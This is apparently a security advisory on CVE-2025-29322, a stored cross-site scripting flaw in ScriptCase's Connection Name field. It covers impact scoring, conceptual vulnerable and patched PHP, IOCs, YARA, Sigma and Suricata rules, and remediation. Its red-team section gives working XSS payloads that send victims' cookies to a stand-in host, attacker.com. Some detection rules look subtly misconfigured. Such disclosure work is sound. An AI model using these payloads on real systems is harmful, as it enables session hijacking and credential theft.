CVE-2025-29322

Executive Summary

CVE-2025-29322 is a stored cross-site scripting (XSS) vulnerability identified in ScriptCase versions prior to v1.0.003 Build 3. The flaw resides in the "Connection Name" field on the New Connection and Rename Connection pages. An authenticated attacker with low privileges can inject arbitrary JavaScript code into the connection name, which is then stored and executed in the context of other users' browsers when they view or interact with the affected connection. This can lead to session hijacking, credential theft, or further compromise of the ScriptCase application.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). ScriptCase is a proprietary low-code development platform. The risk is limited to direct installations of the ScriptCase application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the stored nature of the XSS increases the potential for widespread impact within an organization.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The "Connection Name" input field on the New Connection and Rename Connection pages does not properly sanitize or encode user-supplied input before storing it in the database. When an administrator or other user views the list of connections, the malicious payload is rendered in the browser without proper escaping.

Attack Flow:

1. An attacker with a low-privileged account logs into ScriptCase.
2. The attacker navigates to the New Connection or Rename Connection page.
3. The attacker enters a crafted payload into the "Connection Name" field, such as:

   <img src=x onerror=alert('XSS')>
   

4. The payload is stored in the database.
5. When another user (e.g., an administrator) views the connection list, the payload executes in their browser.
6. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding on the "Connection Name" field.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
$connectionName = $_POST['connection_name'];
$sql = "INSERT INTO connections (name) VALUES ('$connectionName')";
mysqli_query($conn, $sql);

Patched Code (Conceptual):

// Patched: Sanitize input and encode output
$connectionName = htmlspecialchars($_POST['connection_name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO connections (name) VALUES (?)";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "s", $connectionName);
mysqli_stmt_execute($stmt);

The patched version uses prepared statements to prevent SQL injection and htmlspecialchars() to encode HTML entities, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A low-privileged user account on ScriptCase.
• Access to the New Connection or Rename Connection page.

Exploitation Steps:

1. Log in to ScriptCase with the low-privileged account.
2. Navigate to the New Connection page.
3. In the "Connection Name" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator or other user to view the connection list.
6. The victim's browser will execute the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual characters in the "Connection Name" field in logs.
• Look for outbound connections to unknown domains from the ScriptCase server.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Restrict user permissions to only necessary functions.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie= or session= parameters.
  • Unusual Referer headers pointing to ScriptCase connection management pages.

• Host IOCs:

  • Log entries showing connection_name fields containing <script>, <img, or other HTML tags.
  • Presence of unexpected JavaScript files or scripts in the ScriptCase web root.

• File IOCs:

  • Modified database entries in the connections table with suspicious name values.

Detection Engineering

YARA Rule

rule CVE_2025_29322_XSS_ConnectionName {
    meta:
        description = "Detects stored XSS payloads in ScriptCase connection names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29322"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: ScriptCase Stored XSS in Connection Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-29322 by injecting XSS payloads into the Connection Name field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'connection_name='
        cs-uri-query|re: '(<script|<img|<svg)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in connection names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29322 ScriptCase Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"connection_name="; http_client_body; pcre:"/(<script|<img|<svg)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ScriptCase to version v1.0.003 Build 3 or later if a patch becomes available.
2. Apply Input Validation: Implement server-side validation to reject any input containing HTML tags or JavaScript in the "Connection Name" field.
3. Output Encoding: Use htmlspecialchars() or equivalent to encode all user-supplied data before rendering in the browser.

Long-Term Measures:

• Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
• Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts.
• Regular Security Audits: Conduct periodic code reviews and penetration testing.
• User Training: Educate users about the risks of XSS and safe browsing practices.

Workaround:

• If upgrading is not possible, manually edit the ScriptCase source code to sanitize the connection_name input field as shown in the patched code example.

Valters IT
Securing Digital Frontiers